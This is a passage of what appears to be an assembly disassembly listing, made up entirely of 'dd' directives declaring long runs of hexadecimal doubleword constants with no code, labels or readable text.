5DB93D00h, 697DB622h, 0A450FD8Fh, 1EB00CCCh dd 2442DD56h, 87791D48h, 0C0DCEC2Ch, 8612D3A9h, 911323Fh dd 8018E5A3h, 5817E716h, 24640270h, 6AE2F390h, 3CE543C0h dd 579C4502h, 0E80E5AECh, 0EA4490E4h, 0A9010099h, 8ED7FFFBh dd 0B0002C07h, 0F329C674h, 62406Eh, 754C146Ch, 99D83E2h dd 0DCD3B72Eh, 1DAA2700h, 0E42CDCD2h, 717154h, 2BDA6C55h dd 0E1F326D8h, 0ADB47500h, 0EFBB2447h, 292E002Ch, 22B9EB53h dd 949E5BDFh, 0A31F7680h, 0E701E7Ch, 99966CAEh, 1A6AA060h dd 0E10052A4h, 0C3922BBh, 1D81E4D2h, 0C04FFCE6h, 65CC7C7Dh dd 0E507759Ah, 970B382Dh, 355DB610h, 73DFE23h, 6E41683h dd 475A009Ah, 4404DC75h, 5B23D632h, 77999680h, 506407C3h dd 0D028A860h, 0C96D3BEBh, 0FB8D558h, 40B8B5h, 0E2231D43h dd 0A49E00DDh, 21D2EA5Ah, 4F00E3CCh, 0FB724609h, 397105h dd 0B2E68ED0h, 495E6848h, 0D4E7BF00h, 35C979C5h, 2FBFCDDh dd 0AC065341h, 0A0C059D2h, 800056F0h, 0F40595F9h, 97FE33Bh dd 97AE6F5Ch, 53FB74A0h, 70E8D8BEh, 7577A890h, 7E329C00h dd 74A13B93h, 63580018h, 0E6B4C447h, 5D1F037Bh, 0F86AB9A9h dd 1389EEC0h, 0E49908h, 739014Eh, 0D96D7F12h, 285B2D01h dd 27EAB47h, 1380C60h, 50E3B2B9h, 0D033D48Eh, 0EE007C6Bh dd 8C1D6412h, 99CD3h, 417EAA3Eh, 7606B559h, 183748h, 1B30279h dd 10BCD8h, 0DB34B1D5h, 139CBFC0h, 644C303h, 0D06953CDh dd 0D5C662h, 0BF8A16B7h, 0E6D8DAF2h, 2C49C800h, 8727B0BCh dd 8906F1Dh, 6A9C24E0h, 73008539h, 0D4AA60C7h, 0BA91D14Ch dd 0A7490054h, 3E2D147Eh, 8200AFD8h, 4053CB5Eh, 7FB263h dd 1CD7BF79h, 6A6476B8h, 9F7700B4h, 2B1261FFh, 4B304C80h dd 0BCC072Fh, 8036CA65h, 19F25AE6h, 0D7CEA701h, 266ADA48h dd 1EF6C0CCh, 45545EA5h, 80843C81h, 584B7358h, 9A32B500h dd 8C14D074h, 0C1351EFEh, 366607C5h, 0E03A878Fh, 94E30E6Bh dd 0AF9EBE25h, 8E4460E0h, 7EB988B2h, 0CDEEB0h, 0B38CF515h dd 2012CE67h, 0C75EEA16h, 696F0C01h, 4DEC56D9h, 2B0F03B5h dd 0A20BA1D0h, 900A5000h, 86E48A1Bh, 21A41788h, 6F1CC3h dd 5C14B8A7h, 110083B7h, 34372CBDh, 0F6C41AE7h, 0BE523F91h dd 10280D03h, 0D2DC0976h, 0C45C0B48h, 0CF5A7080h, 251559h dd 18426EEDh, 0E5DF114Ch, 0FF2FAE1Ch, 0C8800DD3h, 0B4FC6Dh dd 5B8ECE85h, 81B62B79h, 52895900h, 97E733CDh, 4B250530h dd 44BAA073h, 0ED532CF8h, 0E6720170h, 0EE7BC559h, 6194D1D0h dd 0CE78880Eh, 3E84E15Ah, 0BE1E881Eh, 0C6C9BC00h, 5E9753h dd 0A09D752Fh, 0AB62F35Fh, 6D00E8B0h, 9B377F70h, 0FED04D1h dd 208F73B4h, 3CFF85A0h, 670F2B34h, 0C09CC617h, 66F56921h dd 718D1D5Ah, 346D01D6h, 806FF255h, 0EA2FF881h, 14509FB6h dd 5C2D2CFBh, 5AD30A01h, 419673C8h, 0D856046Ch, 1900B78Ch dd 2639F3EEh, 55EDDDh, 885922E5h, 0B2EA111Bh, 7EF52F00h dd 17FE7C4Bh, 0F8EB0074h, 1E0D32ECh, 220093F1h, 520E1545h dd 6C1349h, 0DF2C5F86h, 8DBEEA6Fh, 0F2FD8900h, 0B164A81h dd 6E9048h, 85345DC1h, 0D7B8ECF6h, 472C3900h, 43AFD0ACh dd 0AA3800DBh, 86D5A944h, 67D0507h, 5C652A00h, 0C3A88B73h dd 16B000EFh, 0E904AA18h, 62E24619h, 507EED00h, 2E3BC45Bh dd 0A51404E4h, 0FCE0B00Dh, 1CBD804Ch, 133EB9h, 0A9C71983h dd 0E6B81E7Dh, 778F7400h, 0A6E2E9BEh, 90A0B5F3h, 470985CEh dd 2D389C02h, 8001532Bh, 0DA6ECDFCh, 5F590074h, 0DDC675FEh dd 209D5231h, 6E2D16C4h, 6CC03801h, 62C3BB00h, 5BB7F121h dd 0AF43C00h, 18EEF060h, 30CCB8A0h, 8C209D25h, 0DD38785Fh dd 0EA4403E4h, 0E16669FEh, 42C8048Bh, 3908C1A2h, 708ADEE5h dd 0B3188872h dd 2879F952h, 60FA7590h, 1ED44A31h, 1E2E71Fh, 0B4977301h dd 8A38F13Ch, 1CE88854h, 1D409280h, 570061F5h, 19CBC7BCh dd 276B2210h, 0F8405887h, 0AB00AFEAh, 44F73EEh, 85C948h dd 52307574h, 6AB6DFE3h, 0BFDCF000h, 0F9E49C59h, 61DB00F1h dd 2B8777ADh, 0FC0080E0h, 75DDE79Fh, 0D05F7h, 8AECD668h dd 0A134E84h, 66036ECh, 1A05DC18h, 0BC30031h, 9A35E32Dh dd 693EFB24h, 3B981E0Ch, 54BD9E3Dh, 37A8600h, 0F00864h dd 0C81106C2h, 0DEA7EEDAh, 5E78B07h, 1AC0C368h, 0C551B51h dd 0A961E32Ch, 0CC00B668h, 66BE0590h, 0DB1612h, 9BA1DD73h dd 21C96014h, 46E918C0h, 77F9A67h, 553DFBBDh, 8C6F7F47h dd 0ED8F7101h, 18288326h, 98A70EE1h, 30801496h, 0D181565h dd 2D0CC60Ah, 791161E6h, 6FB0FCADh, 414F139h, 84750CAAh dd 0BB101Ah, 0EFA9B2A5h, 66A23889h, 25BEF002h, 855393DCh dd 0B681179Bh, 0ABE86CF3h, 6480004Dh, 0FA15C1A1h, 510148B8h dd 755E2F74h, 0C6F8CF1Bh, 23961D28h, 213D40C1h, 6E628559h dd 7E2E2D00h, 0A68A2088h, 3F7000E4h, 8E8774BFh, 6700A454h dd 5A65812Eh, 0F901ECCh, 76D47938h, 95F5C860h, 88004D8Ah dd 5D904CEh, 11BD751h, 0CC43C2E5h, 0D89B21D0h, 0DA58619Eh dd 35F60083h, 25119D41h, 28E32CBAh, 4BEC0016h, 0CC5C36CFh dd 7E57B539h, 0C2916D1Eh, 10E18143h, 8E0E8ADAh, 5A54E094h dd 0EABB992h, 8D14C0B0h, 0C4EAD7A1h, 5BA8E741h, 5607CD80h dd 862E2994h, 9EAC4FD0h, 0FA950117h, 3A8C25FBh, 10E5314Ah dd 5A1FA9BCh, 3B5F8800h, 5D812539h, 0ADD30015h, 6F3E23FEh dd 0D800AA2Bh, 0F55202B3h, 0F7F0B0h, 7E3C7BE3h, 12246F70h dd 0F93AF104h, 37805E4Ah, 0E47B3074h, 5B6B00F7h, 702FFB9Dh dd 1300CB08h, 142D8F21h, 70E6576h, 0F3E7D91Ah, 0FB0474AEh dd 86623F0Bh, 1EB84850h, 3B37B989h, 972DD30Fh, 679AEB40h dd 0AB1FA40Fh, 1BC06D17h, 16ECE694h, 793100D5h, 1FC32F87h dd 53008877h, 0F80ACB8Fh, 0C0C567E2h, 0ABBE1E31h, 0BA727F8Dh dd 0AA00CC7Ah, 0E2405D06h, 0B9EB96h, 17A64FA8h, 0FF78841Eh dd 9C876F28h, 0C2F22710h, 3D1FB300h, 2C41E689h, 0A2802807h dd 1A00036Dh, 3864E1h, 2690F8E9h, 0CA2FCC07h, 76431D48h dd 0AD43F900h, 0F69EAB9Ch, 5CCF0194h, 4ED1144Bh, 0DF20C09Ah dd 9F2EA800h, 1A365B1Dh, 0D3E0A1h, 61B7DC1Eh, 5C2C6CA3h dd 9700C3F0h, 0E04E76C0h, 482B2410h, 0A400140Ch, 1ABD9A0Fh dd 0C400ED75h, 81C722ADh, 0FAE88684h, 3A293C16h, 0F8B91E83h dd 8DA82708h, 0EF00D3DCh, 7FD4415h, 2E420BCAh, 0E6C755h dd 39D52C2Eh, 7B7DF36Ch, 90EC1EFCh, 6A193F61h, 0D1D14863h dd 1C5EF9C4h, 4F4BDCEFh, 0E5AE65FDh, 0A1DFC73Dh, 0E74AB091h dd 0DBEC3915h, 0BC03660Eh, 713C00D2h, 0E4CC826h, 425DBA17h dd 45804BC0h, 2500ADFCh, 54133DF5h, 6076E8A9h, 55C810FBh dd 0C600F0AAh, 82A4E725h, 0F4C78F1h, 911DA9Fh, 7AA060CEh dd 2E5FBD01h, 29042400h, 0CEF1FCA3h, 0BE060040h, 0B6D3A115h dd 0AD395DABh, 0D44A8068h, 0B5CE24FCh, 0A1830091h, 16ABBA0Ch dd 0F073261h, 86343D97h, 0E925230Fh, 18C4881Fh, 49B40037h dd 0F18FA6FEh, 0B8F0472Bh, 7F2E7900h, 0BED3AB41h, 625D005Ch dd 8F66C005h, 31077009h, 4FECD1B2h, 0C3A2A981h, 0F25B88C0h dd 0C67B0050h, 0E4C822EDh, 0A10A8757h, 0A4A6D19Ah, 682C4602h dd 0C1164016h, 4A931DD9h, 7FE24057h, 14FC1017h, 0A93A2E01h dd 9EBFC55Ch, 873DC0h, 9DB87851h, 42DEEBC3h, 0A6006A70h dd 552EC52Fh, 0EE4CA07Eh, 277C0004h, 0A3B76701h, 1F00EC8Eh dd 0C09661C6h, 14098773h, 0FAB38413h, 0FBD47400h, 0FA0A239Eh dd 2316B00h, 0E34312DBh, 5AA6009Ah, 0E401C20h, 49253B2h dd 0A97C5400h, 0FB5CB8FFh, 0E1390393h, 4DBFA00Bh, 8646F5D0h dd 0ED03851Eh, 0E85CCB40h, 0CCC6CEh, 0D3D9E2F6h, 0F5AEF00Fh dd 0C20027F4h, 0A345E880h, 48D8643Ch, 1A240516h, 27E3AC38h dd 0BD02E3D0h, 0D12646CDh, 3CDB40BFh, 0EC1415DFh, 8F04A0BBh dd 8026AF73h, 0B7940968h, 901BCF00h, 8C685CD2h, 0F8F30087h dd 0B1B3AD40h, 18C0BF7Bh, 7FDEB528h, 7CD30033h, 0C7CB5A70h dd 0ED267DE6h, 10018248h, 9108F25Bh, 0CA005571h, 12C2265h dd 0F9869CDAh, 0CC27BFDFh, 6F00FC78h, 20E34B06h, 729E2B2Ah dd 79FE028Eh, 0B61E6091h, 0DEC4FD60h, 491DE700h, 862C1610h dd 0D6F0004Dh, 0AF7863D4h, 370083EEh, 0F6EAABB7h, 0CEC520h dd 28E9162Eh, 3850FC77h, 250DD000h, 0FBB48CA4h, 919F002Dh dd 18DEA362h, 7D0058DBh, 618B52B2h, 0E0D7B87h, 67FA3B06h dd 535451C0h, 0C300B79Eh, 4BCE6EE5h, 58848DA7h, 0DE00608Bh dd 4AECC8CAh, 36002C99h, 0A012DD74h, 7656103h, 8801E5E0h dd 1326E070h, 3E009F68h, 0E9F3894Eh, 7167CB0Eh, 0EBE50141h dd 74AEE205h, 8324FC4Ch, 0B1208C01h, 519C7F7Ch, 80F860h dd 15B729E6h, 0A0F5C96Dh, 9014B324h, 0C249007h, 88E4BA03h dd 7B9B856h, 52F75815h, 0CD98E064h, 0D9773B4Bh, 0F26CDF00h dd 0F9487A57h, 385600E3h, 0E461FD40h, 950059EAh, 0B5F58296h dd 3152692h, 0B8C1B7E0h, 1BE874F6h, 6700B64Eh, 683453ABh dd 1E9F5A60h, 0C06CE1E0h, 6977D4ECh, 0CA00EFE9h, 0C71E6D23h dd 7F47968Dh, 0C0280146h, 0C50DD848h, 4A31CC81h, 38229180h dd 4580AF8Dh, 0A0A35543h, 0D5014B16h, 67875320h, 0EB406AFEh dd 0F01912Bh, 0F3D746B2h, 0D4C6ECC3h, 8A177DA8h, 0A9D9400h dd 30D8388Eh, 77D3014Ah, 96734150h, 0FC2CE470h, 10016404h dd 2CD0F380h, 94F972h, 0A55EB41h, 2B79519Fh, 0A11EFC78h dd 91019708h, 0B5F06B05h, 0ADF3080h, 0AE664AA8h, 64F7751Ah dd 0C3D86008h, 68C103B0h, 32CC74D6h, 790D31E6h, 50DDA00Ah dd 94206083h, 810AF1AAh, 84AC21A7h, 55FB3340h, 30AE69DAh dd 19322080h, 8E01F659h, 6CE3753Eh, 588C956Eh, 7AA00AA1h dd 286A053Eh, 107D0C73h, 366670A0h, 6E84A8C0h, 8E62D6h dd 0F853711Ch, 49DAAA54h, 2FD94F00h, 0BD9613C7h, 0B1AF0026h dd 43634287h, 0DD1E7632h, 4B008990h, 0C3625020h, 7EAF008Ah dd 0A6B81CD6h, 1B094E8Ch, 0E8F851Fh, 582B6016h, 896668h dd 83ED3C99h, 4905C49Bh, 531653Fh, 0C8B77A41h, 62CFC0C0h dd 7DA60040h, 93AB52B6h, 8D3F94E9h, 442D00C3h, 5890A46Bh dd 67CA0099h, 20409FBCh, 1F039E66h, 2B93A07Ch, 0FC319088h dd 0FB2A01ECh, 0B802C365h, 74F07F0Eh, 0B5A300F0h, 93E24727h dd 3A033E42h, 0B7AC2678h, 0BE3BE0B1h, 1204169Ah, 46DC22F7h dd 66000497h, 52F0BABEh, 3CB82841h, 0C8841A0Ch, 807F287Eh dd 960162B0h, 71D8003Dh, 0A1E66687h, 0AB303F8Eh, 0C4EC308Ah dd 0A784A0D2h, 0D69C0040h, 0E66B624Dh, 38A0DA7Bh, 0E412EBE8h dd 1040BDA8h, 3C73AEA6h, 550B1234h, 991DAE95h, 0FF219E18h dd 2E7300B6h, 5BEE0FD0h, 35038D84h, 18DC9742h, 92590096h dd 0B13E67C7h, 5C902BC1h, 56DEE61Dh, 4A6AEBC7h, 2AF4BA0h dd 7131C392h, 5B832E3h, 0B53251FFh, 0AF790910h, 32FB40A0h dd 0BD1834h, 84373D43h, 0CB315C68h, 360225FEh, 30426E19h dd 9788843Eh, 70B42440h, 4B03D45Dh, 0DA91A77Fh, 0C63F9802h dd 0C172241Eh, 3C0C8194h, 0E4B35B61h, 3A3F638Ch, 201CD3E3h dd 2F8324FCh, 0BD6885C4h dd 0A7800010h, 92BA6D9Eh, 0C04B2C14h, 32F8806Ch, 43E7057Dh dd 2184304Fh, 232F054h, 0CE93B6E4h, 0D080612Dh, 83F690EBh dd 0CB349h, 0A77E3941h, 339F5419h, 970920F1h, 40E12109h dd 30A9007Eh, 790269EBh, 0A2A42860h, 221214C0h, 0D723F4D0h dd 3F73B701h, 2E0E2334h, 0EA005504h, 3276FD82h, 4C6A00E1h dd 69D9440Ch, 0F04C1B2h, 97ABD20h, 6A4F8B82h, 0DE3D615Ch dd 8AC3448h, 1B343E73h, 14EB5C4h, 67A473A0h, 0EC00F8DFh dd 904D9ED9h, 0C0A7A037h, 19355EC0h, 8EF09284h, 48F1CB20h dd 0C7022846h, 6BF567C5h, 32659C8Fh, 7A4444ECh, 73B830AAh dd 0BB34103Ah, 98AFC84Eh, 0E8D9F0FDh, 96BEDE03h, 0CDF58059h dd 30FBC822h, 0B4117E38h, 9E884C19h, 7E3FE080h, 12E10238h dd 2021DEDCh, 97C8688Ch, 10F3940h, 6AD7F956h, 0F8BF74EEh dd 0C2484C5Dh, 44080AD8h, 381B4D1h, 0F253408Ah, 883FF980h dd 0C664E3CFh, 417238CCh, 0AC21CEFAh, 0B0FDCF60h, 1B00DAA5h dd 0E3C2216Eh, 60333E95h, 0C589F8C6h, 20E9597Fh, 13131894h dd 0D81DD415h, 0E30BB5C1h, 30303CC3h, 0CDE28F8h, 20087B60h dd 12064220h, 3F0BDB0Ah, 34C88028h, 0F029D4B2h, 0F900C123h dd 0CF059032h, 8760864Fh, 32F15721h, 0E2AA1E6Dh, 607C20Bh dd 0A8A0A437h, 4BDB5A54h, 0A28A5F00h, 6A9FF729h, 0DCEA0098h dd 3AC29720h, 7B03B9FBh, 8970812Dh, 0EED80393h, 9E44378Fh dd 0A035B02Ch, 0B8F66343h, 3CC6F43h, 41558851h, 0D5A8C1FBh dd 9F0632DAh, 0A784EB60h, 2F4B0031h, 2C6DADA5h, 690205D2h dd 7B0C738Dh, 95A8A53Ah, 0A04A83h, 0C152DE31h, 5C5D2FF3h dd 3A03B7ECh, 8AD52847h, 60EEF6h, 3C7CB3F5h, 9A22DEC6h dd 48D23378h, 902E9405h, 0C78E8C42h, 507844F0h, 4300C0Ch dd 85D6AE3h, 9E1880A7h, 3849480Fh, 0A220012Ch, 130DCD53h dd 906A0ED0h, 0B2F3868h, 0D84AD494h, 61703304h, 86708071h dd 8492C40Dh, 116CE404h, 80C0EC43h, 807DB794h, 2C607049h dd 1BDB2281h, 8448CAF4h, 1A36C0B8h, 2800FB88h, 7D239EE7h dd 155F2CCh, 0EB17E127h, 26BD4B2Ah, 32F5020Ch, 67EF057Ch dd 0ED530090h, 59994332h, 68ADE010h, 3CC0EF88h, 4819B87Eh dd 0F4E0C82Ch, 88007E43h, 6C5734C6h, 2366F59h, 4409768Fh dd 0B4472F37h, 7663E5C4h, 9412C8B6h, 943006DCh, 0B8F1B844h dd 0FA8C1EE0h, 3CF00A07h, 1B540D0h, 0C16A04Ah, 0E420EF78h dd 846B7A89h, 0E8059444h, 24CA447h, 64FCCF8Fh, 65767Eh dd 0D1D8B180h, 1672EB6h, 689C958Bh, 80E6E414h, 8297F468h dd 3A5349B0h, 45DA866h, 655A8300h, 239B3ED0h, 80258C39h dd 5580A3EBh, 18F0FE7h, 96335E51h, 8088F858h, 0FE40D8E9h dd 0F97C7B32h, 2A444CE2h, 0E8C0A235h, 1EEE0322h, 0A573949Fh dd 24B00AA1h, 0EB605338h, 2A0D5DB9h, 0C7840078h, 0F9B9FD12h dd 0B3498C70h, 583A9664h, 440CB423h, 0DEC1FEECh, 0C1AAD040h dd 343973A5h, 8432C021h, 73AD86C0h, 2D01AB03h, 0CE946AC4h dd 78209059h, 0B4F4A09Dh, 20F0D452h, 76004623h, 1664F9CFh dd 0F4448675h, 0D1D702A6h, 0B980A499h, 77C9C860h, 67530090h dd 88F226D8h, 0BC8CE000h, 0EC55C5h, 3BA42103h, 5D7C69A2h dd 0D91CF14h, 15B304D0h, 9082F72Fh, 486032F4h, 245C19B9h dd 98E7E320h, 0F0237Eh, 46CE15Fh, 35DE0BF7h, 0A016891h dd 0B1416BCCh, 0A98EC500h, 0A8260C98h, 6401CBBh, 0E24107D1h dd 59B70058h, 61B11581h, 4F02520Ah, 983568D7h, 6D65E203h dd 0F07EE710h, 8F34F2BFh, 0E480A860h, 265CE9C8h, 80849318h dd 5335D576h, 6CB0FD7Eh, 80632545h, 2830B8A2h, 4517E29h dd 86F5BFCCh, 532C880Bh, 9BE4EF54h, 0C1C2281Fh, 4843D89Ch dd 0A0C9B8E1h, 2E6093Fh, 0D75D70AAh, 0A4649283h, 90BC3154h dd 0C41C070Ah, 0AC12AC40h, 5F3D460h, 6FD2005Bh, 0D30C23B7h dd 0DD01EAACh, 63CF54F5h, 74706CECh, 267802F1h, 6970344Ah dd 960D7C50h, 483E4BE4h, 3A61E820h, 9784F07h, 87D4C022h dd 0E9647C8Eh, 1E35DB0h, 64F7CF7Ch, 88F318E6h, 0D101E5B0h dd 0AC419C28h, 80CAFB1Ah, 131994BCh, 0C6B8A881h, 2B6D129Fh dd 738C3ABFh, 0C32A188Ch, 181766C0h, 0B203330Eh, 25686919h dd 48064EE5h, 10851DFh, 0E140F765h, 240AB26Ah, 0E0F3E320h dd 0B654A98Ah, 850728DCh, 7B268D5Ch, 5D71400Eh, 66D61C4h dd 0E44A9BFAh, 8A319164h, 1A75613Ah, 3688F0h, 98103B5Bh dd 0BC535AF1h, 0B2DF900h, 0DD1A3889h, 0A02900ACh, 117764F8h dd 9FEA2188h, 0C5524600h, 3344CCA4h, 0D01F48AFh, 8035CB1Ch dd 964A07F4h, 0F8601404h, 0B2D9F0D8h, 3EE604B1h, 0A2C78B88h dd 0CCBE1678h, 0D6B8DC00h, 981E65Dh, 97EBC785h, 56D32000h dd 5C3B54F7h, 0C93F1280h, 12F92086h, 20F9C246h, 0DA8DB1E8h dd 0C4042398h, 0E890ECACh, 0AFE2DCA2h, 0C84F30h, 0CE972210h dd 0F18257E1h, 4C62693Dh, 0C4C30048h, 0BD21B4B0h, 454902BFh dd 0BDEFB52h, 0E04BFC44h, 704C1C41h, 0F0646A39h, 7830489h dd 0C2D6935Ch, 58111Ch, 6F73E306h, 0F4189F9h, 5B23565Ah dd 0D04847A7h, 7A97BD55h, 0EBE5020Ah, 0B34068E3h, 21343B73h dd 0B1914EC3h, 73BC1D70h, 84944099h, 0B96EB432h, 22906C60h dd 3D05EBB7h, 0FB28BA20h, 3F8020D8h, 786BE84Bh, 6AF43600h dd 6FF0A0C8h, 65106900h, 0EB7DC335h, 0C7251364h, 0C68029Eh dd 0E48A6814h, 0F44676D4h, 1048FC00h, 5D5E9DAFh, 0D0668630h dd 0C95BE7DBh, 0B840F6C0h, 6F0E1159h, 520C18D6h, 5D685C02h dd 83050ECh, 0ACB4340Ah, 0DC5CAD00h, 133ECBF3h, 251BF08h dd 0A6EFCC64h, 4AFB300h, 49EE40C4h, 0A4A86D24h, 0E3DC3884h dd 1F454CD0h, 414189Fh, 0CE8DB0DEh, 0B85EC928h, 5C92F824h dd 188B2B92h, 304B7984h, 0AD886CFh, 0B3A855C1h, 0E6F680BCh dd 0AF5F4FB1h, 8C5CA779h, 0F8F04CCh, 68023FE4h, 0D468E5C5h dd 1F011BD8h, 0B0C82216h, 0EC382BAAh, 1D8C86B8h, 0C1127A19h dd 7FC8F9B8h, 0EB2824C5h, 6AE49400h, 0C1FB019Bh, 13B6126Fh dd 9DF81E9Ah, 6E0700C2h, 0FB3A7CB4h, 0AC560504h, 0D4827BD7h dd 4ECCCF0h, 19B57E3Bh, 203D6244h, 127E42F3h, 655E1100h dd 9831B518h, 0C27102BAh, 0D8688059h, 19382468h, 30A12F01h dd 74B5D7C6h, 0D1A2A884h, 519B8649h, 0C72EDE74h, 0AC85F04Bh dd 0D45F6EF9h, 8F6B8240h, 0AA0EB52h, 46940B19h, 177C3CF4h dd 54B7130h, 22C48628h, 0E430BCECh, 5890832h, 78645187h dd 32FC5040h, 0C100D9E3h, 49C82A56h, 240AA9CEh, 1F68FF62h dd 0A4B0E0EFh, 20C9144h, 5C4AAB56h, 0AC72BF3Ch, 6035DD44h dd 6B9D999h, 0D000B1D6h, 0AFBC9C94h, 9314D11h, 0EAC98B8Fh dd 0E466C0A9h, 60F2E09Fh, 8A9A1258h, 188CC197h, 117E90Bh dd 91606886h, 80E09653h, 0F964C905h, 8A60022Ah, 0AAA2E49h dd 25B400F7h, 0D9F10F0Bh, 44617A09h, 0F53A7BB6h, 4B94DC70h dd 23502FAAh, 52F600FFh, 4BC868AEh, 541EAA4Ah, 2174C02Eh dd 14894B7Ch, 22798047h, 11CE88h, 3CCC6525h, 0B2B46F67h dd 518CBA3Ch, 9ACC0778h, 428000C3h, 75EDD9E1h, 1FDE3B13h dd 201888C8h, 8C1250E8h, 0C040D625h, 0B29C637h, 0DCD894B8h dd 8088960Fh, 67C5E1EDh, 890097A5h, 0A8B13D8Bh, 0BB256A02h dd 300C44B5h, 0E88849ACh, 0CA308E12h, 9DC294Ah, 0F3832DA8h dd 0B891989Dh, 2463EC80h dd 3B005D18h, 6DDE860Fh, 290F25Fh, 9F087049h, 0F0418E59h dd 83E18F1h, 1C19AE7Eh, 0EE4448C4h, 0BC00C045h, 1D747BC6h dd 0EC44060Ch, 4FDCC83Bh, 2118570Dh, 7D6449D4h, 725B003Ch dd 4A7A1490h, 0FC6C1CE1h, 34590543h, 8EC442E2h, 4470D740h dd 0CF201100h, 580A9FEEh, 32E890F7h, 0C4614B5Ah, 0C90FD423h dd 21C08C40h, 0DCAA0C58h, 0AFE0CC34h, 0B6463C90h, 8F32FA02h dd 7A31D705h, 32F25610h, 5B0FBEECh, 0C03948BBh, 9E686EDh dd 270CEE9Fh, 0A02761CCh, 475D245Ch, 7C48D3CAh, 0B300F346h dd 0BD9EA8ECh, 0A93037E5h, 12CEE1BAh, 647C0005h, 0E2517D34h dd 0CB09A3E4h, 8048680Ch, 0A79BBE88h, 0BBB01F9h, 55F33397h dd 0DE9C318Ah, 850CDC01h, 90A98052h, 1F15E2CCh, 988488h dd 0F420BE08h, 4D03650Ch, 9C1B40CDh, 151489B3h, 9084682Ch dd 73BA30AAh, 0AB341038h, 0C28BB04Eh, 3CD11E73h, 354C84E0h dd 349CC74Bh, 0C23600FAh, 4114289h, 3C06D15Ah, 0AE6CE4C8h dd 0F0418E11h, 4344CE0Ch, 8060F936h, 0B16075C9h, 19EC0774h dd 10374A4Eh, 11F40DE3h, 89D270Eh, 1CC0561Ch, 60A57AACh dd 13913852h, 0E4001B7Fh, 0DA5D45CBh, 5439989Ch, 26479C82h dd 6E0C8EF5h, 40E43FCAh, 0C5982211h, 0E88C2658h, 0C008CA4h dd 9B601045h, 30C263D3h, 16218B8Ah, 5400B888h, 19722638h dd 2FBCEE5Eh, 0CC17ECA5h, 0D585A411h, 388004B1h, 0D68014Fh dd 3C30A14Bh, 0A475488Ah, 90A16C22h, 8F618C2h, 0F7057B32h dd 524078C4h, 9E6E32EEh, 0F28AAA03h, 6135398h, 5734ECA1h dd 0D76468C1h, 30CBEB50h, 0E4C0A4C8h, 0A118EABh, 4CA59295h dd 40C580DCh, 6D5637E1h, 18853900h, 0C7F52C81h, 0B47A4C23h dd 1109F322h, 4130E556h, 0A06953F4h, 2E84B100h, 4738B892h dd 0CE50F6E8h, 3B40BC94h, 7EEC26BAh, 0B74674B8h, 0A0296700h dd 9D828A40h, 0CA2EF909h, 407C9283h, 0E7ADDFCh, 24198E1Bh dd 6090AAA9h, 0B80B0133h, 855F0F1Eh, 90137BC4h, 64CBC012h dd 40CFE5C8h, 622669CDh, 495B7D11h, 0F890680Eh, 464386E8h dd 0F8037701h, 20CFC42Ch, 13241980h, 0DE81E4FCh, 0AED6BC5Ch dd 897A3026h, 2168768Eh, 37900206h, 0BC81AD1Ch, 258FF38Ah dd 0DEAC4B18h, 86C203E3h, 7C0B7AAh, 3725CB40h, 9F74005Fh dd 0C0FD5360h, 16611C81h, 0C5076329h, 0AFB3DC12h, 0DA8B4E70h dd 4A140430h, 0A4EC316Ch, 0B0016A84h, 3490CB01h, 907D0F9Dh dd 7F31304Ch, 50BFA9C9h, 80011BE4h, 2CC6093Ch, 3E428419h dd 0EA34E1C3h, 44F3C044h, 0E83184A2h, 1188022Ah, 4D2C68Eh dd 92B1CE3Eh, 9C81495Eh, 79A6EA70h, 0C0503F8h, 497781F9h dd 756ACA00h, 0F257D373h, 39C37D07h, 2B81A9C9h, 0DB2C101Bh dd 2C67C919h, 0ECF90A98h, 7F048B5Ch, 0F0E2D6A7h, 7498F222h dd 7B014346h, 0DE64F8CFh, 0AD090B74h, 3F00D1E4h, 404F7A05h dd 0FFA85A15h, 5EBD00A0h, 0E66B667Dh, 2E2C4A80h, 387923D8h dd 0B883E580h, 0FB811015h, 0DE0690BEh, 499320h, 331D5D8h dd 0A9A65471h, 0BD599E00h, 1C95D221h, 0E4533F49h, 85E2DD82h dd 3CF2F9EEh, 0B458F000h, 4C4A69F3h, 0CC3A002Ah, 8D5C5562h dd 0AC913DA8h, 0C81884D1h, 0D8347605h, 34F46489h, 59D60049h dd 8C31A37h, 0E14E0F9Eh, 0FA23C83Eh, 8E687A0Fh, 18238009h dd 0A0E94803h, 7F8059F0h, 7670BE89h, 0B5004846h, 0BFB356D2h dd 34FDA7E1h, 400F7D4h, 37B978A5h, 997C254h, 440AB273h dd 0D6A2010h, 1898C77Ah, 80D44148h, 115AD9E1h, 80B34DF5h dd 0CF56DC00h, 0F80B3CCBh, 0DA8850Fh, 0B0CFD613h, 0AC2AF88h dd 9754C0D7h, 24E482A6h, 7A02AF01h, 0BA857851h, 1980AEFDh dd 2066F289h, 25074ABDh, 0DCD5FB24h, 0E4F8E509h, 71C164C2h dd 0E6E4499Eh, 126B9804h, 801B6FC7h, 8131824h, 1390485Dh dd 81149B6Ah, 48C74B4h, 64DECF89h, 0B014A8EEh, 3CF7A9Fh dd 8AAD5722h, 92B2DE6Fh, 0C0700A22h, 0AA968F08h, 8CC480h dd 2BE1CD51h, 0C2B5B45Eh, 5F494C00h, 51EC628h, 0DC181312h dd 0DDD800A8h, 0D83D8584h, 4C00755Fh, 0ADAE25A1h, 0B0906E3h dd 7094FAC7h, 3CFB0C04h, 388014D5h, 533A7B42h, 0BC201C3Eh dd 149A76F4h, 0B677C700h, 96E660D6h, 890C2h, 1473555Ch dd 8C340A4Fh, 258BA09Eh, 0E05C437Bh, 4076C0Bh, 794D6036h dd 40E5843Ah, 0B12DD988h, 9F01C9A3h, 89AB6FF9h, 0A2ED070Ch dd 0A3E8B02Ch, 0D43E038Ch, 0ACF18AE6h, 0CF60C89Dh, 98D5A700h dd 76A03E9Dh, 0C22E0010h, 3651579Ah, 8E07F3D1h, 0DE9F1EC5h dd 0C33568F1h, 94A80C64h, 0D03280F8h, 2839B6F8h, 0DB0042F6h dd 0CF028A43h, 7B5261h, 0F2AA6DCh, 8DCD6FC8h, 58FAA4A3h dd 0DAF8FC74h, 33ED0704h, 0F0850702h, 929408D4h, 8000D17Ch dd 953DE829h, 0EBE72Eh, 0A9FF44DFh, 218C90C6h, 0E00020E8h dd 0CD28E5FDh, 368010h, 0DC87FF4Bh, 0E3193B14h, 0D0C6CB4Ah dd 0CA116E0h, 49F881C4h, 0BC8696Bh, 6167E318h, 7C3A3D64h dd 4486F49Ch, 442708D8h, 5E2C80A0h, 9D1731BDh, 180F8818h dd 54A13024h, 0F6838582h, 23209EC2h, 2C16843Eh, 7D8800CBh dd 5D6355C1h, 3E1DD5C0h, 0DB001B41h, 7711167Fh, 